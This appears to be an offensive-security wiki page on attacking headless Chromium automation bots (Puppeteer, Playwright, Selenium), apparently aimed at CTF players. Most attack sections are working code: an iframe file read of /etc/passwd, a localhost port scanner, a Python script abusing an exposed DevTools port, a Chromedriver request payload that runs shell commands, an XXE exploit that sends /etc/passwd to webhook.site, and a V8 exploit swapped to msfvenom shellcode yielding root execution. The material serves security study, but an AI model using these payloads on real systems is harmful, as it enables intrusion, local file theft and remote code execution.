Headless Browsers
Tricks for dealing with input into headless browsers on the server, using client-side methods
When dealing with a headless browser, by far the most commonly used variant is Chromium. Automation libraries have the choice between Chrome DevTools Protocol (CDP) and the W3C-standardized Chromedriver to send actions to the process, and your options really depend on which is used:
Chrome DevTools Protocol: Puppeteer, Playwright
Chromedriver: Selenium
Most of the attacks covered for these instrumentation tools involve some malicious code in the browser interacting with its open port to perform sensitive actions a website normally isn't able to do.
When running inside Docker, you should pass the $DISPLAY
variable into it to get GUI access if you need it. Specifically when using WSL with Docker for Desktop, you should also mount a few volumes. You can consistently do this using the following configuration and removing any --headless
flags:
services:
web:
build: .
ports:
- "1337:1337"
volumes:
- /mnt/wslg:/mnt/wslg
- /tmp/.X11-unix:/tmp/.X11-unix
environment:
- DISPLAY=${DISPLAY}
Differences
When a browser is being automated, it often has no visual GUI that comes up with headless mode. In the background all the same rendering calculations still happen, so it can take screenshots and should work exactly the same as your regular browser. However, to make automation work better some small changes have been made to the security rules that can be exploited in certain scenarios.
Most importantly, all features gated by User Activation don't need interaction. This means functions like window.open()
, which normally require a click, can be called how many times you want whenever you want. This is a very powerful primitive for attacks because cookies will be included in such top-level requests, and often the function is required for getting a reference to such pages.
Another more niche fact is that, strangely, Cache Partitioning is not enabled for automated browsers. This means the Origin: * with credentials (cache) trick doesn't need an attacker-controlled subdomain, but instead can be achied through any origin. It also may help make some attacks involving Browser Cache easier because it can be triggered from the attacker's site.
Interacting with elements like through Page.click()
in Puppeteer work by locating the position of the selected element, and clicking on the page in the center of that element. That means they are also vulnerable to clickjacking just like us humans, by positioning an iframe above the targeted button, you can make it click something inside the iframe.
This idea also extends to the keyboard, if it tries to fill out some input with a text, it will type the string out including spaces. If it's not selected an input at all, but instead focused a button on some other page while typing, the space press may actually press the button!
SSRF
The headless browser often runs on some server, which may also include more applications locally or in an internal network. You can try to use it as an SSRF by loading resources such as iframes or simply navigating to it. The protocol you may navigate to depends on the protocol you currently have, if your content is hosted on http:
or https:
, you can only go to one of those addresses.
But if your content is hosted on a file:
URL, you are allowed to <iframe>
other files, such as:
<iframe src="file:///etc/passwd" width="1000" height="1000">
In the rendered result you can then read the content of it. Browsers even automatically generate indexes for folders, so a path like file:///app
could show you all the files inside /app
for you to discover.
You can find more payloads to include files or interesting information in the article below. Know that some custom HTML renderers may parse/behave differently from a real browser and thus require very carefully crafted payload with correct syntax.
Apart from leaking data in the result, you can also interact with internal networks through the regular APIs like fetch()
. A useful thing is to scan for ports using JavaScript, below is a simple implementation that tries to send an HTTP request to a large range of ports with throttling to keep the browser alive. You can configure the specific ports it scans (may be a lot, just takes a few seconds), and what to do with the results instead of logging to the console.
function range(start, end) {
return Array.apply(0, Array(end - start + 1)).map((element, index) => index + start);
}
const PORTS = range(1, 10000); // Can be a large range, or some specific subset
const POOL_SIZE = 1000; // Parallel requests limit
async function foundPort(port) {
console.log(`Port ${port} is open!`);
}
async function scanPort(port) {
await fetch(`http://127.0.0.1:${port}`, { mode: "no-cors" })
.then(() => foundPort(port))
.catch((e) => e);
return port;
}
const processInPool = async (ports, poolSize) => {
let pool = {};
for (const id of ports) {
pool[id] = scanPort(id);
if (Object.keys(pool).length > poolSize - 1) {
const promises = Object.values(pool);
const resolvedId = await Promise.race(promises); // wait for one Promise to finish
delete pool[resolvedId]; // remove that Promise from the pool
}
}
return await Promise.all(Object.values(pool));
};
processInPool(PORTS, POOL_SIZE).then(() => {
console.log("Port scanning completed.");
});
From here, you can try to attack the found ports through the browser, and if you find an XSS, possibly abuse what's explained in Chromedriver.
You'll also often see these headless instances running in isolated docker containers. In this case you may be able to connect to other internal docker IPs in the 172.16.0.0/16
range.
Chrome DevTools Protocol (CDP)
The Chrome DevTools Protocol is for Remote Debugging and is a popular choice for automation libraries too. It listens on port 9222 by default to receive commands with which malicious websites can interact somewhat.
Endpoints
When google-chrome
is launched with remote debugging enabled, this is usually on port 9222. But it can be changed with the --remote-debugging-port=
argument when it is started.
When this port is accessible, you can connect to it with the DevTools HTTP Protocol in order to make the browser do certain things. You can debug the currently viewed site, meaning reading any data, like HTML, cookies, or other stored data, and execute JavaScript in the console. As well as being able to browse to and read arbitrary files on the system.
Get a list of sessions by requesting /json
endpoint:
[ {
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/DAB7FB6187B554E10B0BD18821265734",
"id": "DAB7FB6187B554E10B0BD18821265734",
"title": "Yahoo",
"type": "page",
"url": "https://www.yahoo.com/",
"webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/DAB7FB6187B554E10B0BD18821265734"
} ]
You can then visit the devtoolsFrontendUrl
in your browser (if --remote-allow-origins
explicitly allows it) to get a recognizable DevTools GUI that you would get when debugging any site. Here you can do anything DevTools would be able to, like executing JavaScript, reading storage, and browsing the site.
Previously it was possible due to chrome issue 40090539 to CSRF the /json/new?url=
endpoint, but this has been fixed since 2022. Now, CORS denies such requests by malicious websites because a PUT
method is required.
If you're able to execute code in the localhost:9222
origin somehow, you can still use this to open other protocol's URL such as chrome://
and file:///etc/passwd
.
WebSocket
Commands to chrome are sent through the webSocketDebuggerUrl
, which you can also directly access to have more control, and not be limited by the GUI. One interesting way of abusing this is to first navigate to a file://
URL (Page.navigate
), and then request the HTML content of the page using JavaScript (Runtime.evaluate
) to read arbitrary files.
If you find this port exposed by a higher-privileged user on a shared system, for example, you can abuse it in Python like so:
from time import sleep
import requests
import websocket
import json
def page_navigate(ws, url):
payload = {
"id": 1,
"method": "Page.navigate",
"params": {
"url": url
}
}
ws.send(json.dumps(payload))
return json.loads(ws.recv())
def get_current_html(ws):
payload = {
"id": 2,
"method": "Runtime.evaluate",
"params": {
"expression": "document.documentElement.outerHTML"
}
}
ws.send(json.dumps(payload))
return json.loads(ws.recv())["result"]["result"]["value"]
targets = requests.get("http://localhost:9222/json").json()
websocket_url = targets[0]["webSocketDebuggerUrl"]
ws = websocket.create_connection(websocket_url)
sleep(1)
print(page_navigate(ws, "file:///etc/passwd"))
sleep(3)
print(get_current_html(ws))
If you are somehow able to read the response to a http://localhost:9222/json
request to get the webSocketDebuggerUrl
, and are allowed to connect to it by your origin inside the --remote-allow-origins
argument, you can even send such commands using the common WebSocket API from a malicious website:
Chromedriver
Chromedriver is another implementation of an instrumentation tool, which by default listens on a random port in the range defined by /proc/sys/net/ipv4/ip_local_port_range
(32768-60999), often seen with a --port
argument in the process list. It implements the W3C WebDriver spec, which includes a POST /session
endpoint.
The vulnerability mentioned in "wont-fix" issue 40052697 is that this endpoint allows all localhost
origins by default. There is no other CSRF protection, as the JSON body doesn't need a valid Content-Type:
header. It becomes a CORS Simple Request, which you can send easily using fetch()
.
The requirement for this is either having XSS on a localhost origin, from there you can call this endpoint to spawn a new session with custom binary
and args
options that result in RCE:
<script>
const options = {
mode: "no-cors",
method: "POST",
body: JSON.stringify({
capabilities: {
alwaysMatch: {
"goog:chromeOptions": {
binary: "/usr/local/bin/python",
args: ["-c", "__import__('os').system('id > /tmp/pwned')"],
},
},
},
}),
};
for (let port = 32768; port < 61000; port++) {
fetch(`http://127.0.0.1:${port}/session`, options);
}
</script>
If the above for
loop completes on a localhost origin, you should have seen the command execute by finding the output of id
inside /tmp/pwned
.
CVEs
The following sections describe older vulnerabilities in Chrome that were patched in some recent version, but the bot could still be outdated before any of the mentioned versions. These range from file reads to full on RCEs in some cases.
To easily start any version locally for testing, use the following Docker setup to download a specific major version or a specific one if you find it:
FROM debian:bullseye-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y wget curl jq unzip libnss3 libx11-6 libx11-xcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxi6 libxrandr2 libgbm1 libasound2 libgtk-3-0 && \
rm -rf /var/lib/apt/lists/*
ENV VERSION_CONSTRAINT='| startswith("127.")'
# ENV VERSION_CONSTRAINT='=="127.0.6533.119"'
RUN wget -q $(curl -s https://googlechromelabs.github.io/chrome-for-testing/known-good-versions-with-downloads.json | \
jq -r '[.versions[] | select(.version '"$VERSION_CONSTRAINT"')] | .[-1].downloads.chrome[] | select(.platform == "linux64") | .url') && \
unzip chrome-linux64.zip && \
mv chrome-linux64 /opt/chromium && \
ln -s /opt/chromium/chrome /usr/bin/chromium && \
rm chrome-linux64.zip
ENTRYPOINT ["chromium", "--no-sandbox", "--no-first-run"]
From there, you can open up your exploit page to check if it would work against the real target.
XXE (<= 115)
Researchers at Positive Security (or rather ChatGPT) discovered a logic issue where the XSLT parser could load arbitrary local files:
An easy test to check if the version is vulnerable by testing various files is provided at the bottom of their writeup. If your target gives you a screenshot or the content in any other way that's displayed in these iframes, you can already leak data visually.
To exploit it in a scenario where you have scripting but no visual response, you can use JavaScript to read the content raw and exfiltrate it to your server:
<body>
<script>
const FILENAME = "/etc/passwd";
const xxe = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file://${FILENAME}"> ]>
<xxe>
&xxe;
</xxe>`;
const xls = `<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:user="http://mycompany.com/mynamespace">
<xsl:output method="xml"/>
<xsl:template match="/">
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="300" height="600">
<div xmlns="http://www.w3.org/1999/xhtml">
<xsl:copy-of select="document('data:,${encodeURIComponent(xxe)}')"/>
</div>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>`;
const blob = new Blob(
[
`<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,${btoa(xls)}"?>
<!DOCTYPE svg [
<!ENTITY ent SYSTEM "?" NDATA aaa>
]>
<svg location="ent" />`,
],
{ type: "image/svg+xml" }
);
const url = URL.createObjectURL(blob);
const w = window.open(url);
const interval = setInterval(() => {
if (w.document.readyState === "complete") {
clearInterval(interval);
const leak = w.document.querySelector("xxe").innerHTML;
w.close();
navigator.sendBeacon("https://webhook.site/...", leak);
}
}, 1000);
</script>
</body>
JavaScript V8 without sandbox (<= 127)
V8 is the name of the JavaScript engine in Chromium, and because of its complexity and speed requirements, has had a lot of vulnerabilities involving memory corruption. The scripting nature of JavaScript makes these often easy to exploit because some primitives just need to be built in order to simply script out an attack as you normally would.
One fact that makes headless setups especially more vulnerable is their common use of --no-sandbox
, because when running as root
this option is required to make the browser work. You'll even often see this argument added when it's not strictly needed, just because it is so common.
What you need to know is that it disables the renderer sandbox, essentially making any JavaScript that runs arbitrary instructions able to run shellcode on the system. Many exploits do this, but stop at the sandbox, perfect!
We just need to find a public chrome issue with a fully-written PoC, where you can often just substitute the built-in shellcode for anything you need.
The above writeup uses Chromium issue 365802567 with a downloadable HTML PoC. The code contains a sc
variable standing for "shellcode", set to a Windows x86-64 calc.exe
payload. We can change this easily for a Linux system, for example, by compiling new Shellcode:
$ msfvenom -p linux/x64/exec CMD='id>/tmp/pwned' -f powershell
[Byte[]] $buf = 0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x99,0x50,0x54,0x5f,0x52,0x66,0x68,0x2d,0x63,0x54,0x5e,0x52,0xe8,0xe,0x0,0x0,0x0,0x69,0x64,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e,0x65,0x64,0x0,0x56,0x57,0x54,0x5e,0x6a,0x3b,0x58,0xf,0x5
The hex bytes can be copied into the array, replacing the original:
- const sc = [0x48, 0x83, 0xe4, 0xf0, 0x55, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x2e, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x15, 0xd7, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0xe8, 0x34, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xc9, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x83, 0xc4, 0x28, 0x5d, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x40, 0x20, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x40, 0x20, 0xc3, 0x53, 0x57, 0x56, 0x41, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x30, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xcb, 0x8b, 0x9b, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xcb, 0x44, 0x8b, 0x43, 0x18, 0x8b, 0x7b, 0x20, 0x48, 0x01, 0xcf, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xc0, 0x4c, 0x39, 0xc6, 0x73, 0x43, 0x8b, 0x0c, 0xb7, 0x48, 0x03, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x54, 0x24, 0x30, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x33, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0xff, 0xc6, 0xeb, 0xd4, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x8b, 0x7b, 0x24, 0x48, 0x01, 0xcf, 0x48, 0x0f, 0xb7, 0x34, 0x77, 0x8b, 0x7b, 0x1c, 0x48, 0x01, 0xcf, 0x8b, 0x04, 0xb7, 0x48, 0x01, 0xc8, 0x41, 0x58, 0x5e, 0x5f, 0x5b, 0xc3, 0x53, 0x8a, 0x01, 0x8a, 0x1a, 0x84, 0xc0, 0x74, 0x0c, 0x38, 0xd8, 0x75, 0x08, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc2, 0xeb, 0xec, 0x28, 0xd8, 0x48, 0x0f, 0xbe, 0xc0, 0x5b, 0xc3, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00];
- const cmd = 'calc';
- for (let i = 0; i < cmd.length; i++) {
- sc.push(cmd.charCodeAt(i));
- }
+ const sc = [0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x99,0x50,0x54,0x5f,0x52,0x66,0x68,0x2d,0x63,0x54,0x5e,0x52,0xe8,0xe,0x0,0x0,0x0,0x69,0x64,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x70,0x77,0x6e,0x65,0x64,0x0,0x56,0x57,0x54,0x5e,0x6a,0x3b,0x58,0xf,0x5];
All that's left to do now is host it, and let the bot visit the page with malicious JavaScript. This should write the output of id
to /tmp/pwned
:
$ docker compose exec -it web cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
Note: from testing, on some kernels this proof of concept doesn't seem to work, and segfault into something involving SEGV_PKUERR
. I'm not sure why this happens, but if you encounter such a case you may have to try a different issue with a proof of concept.
Last updated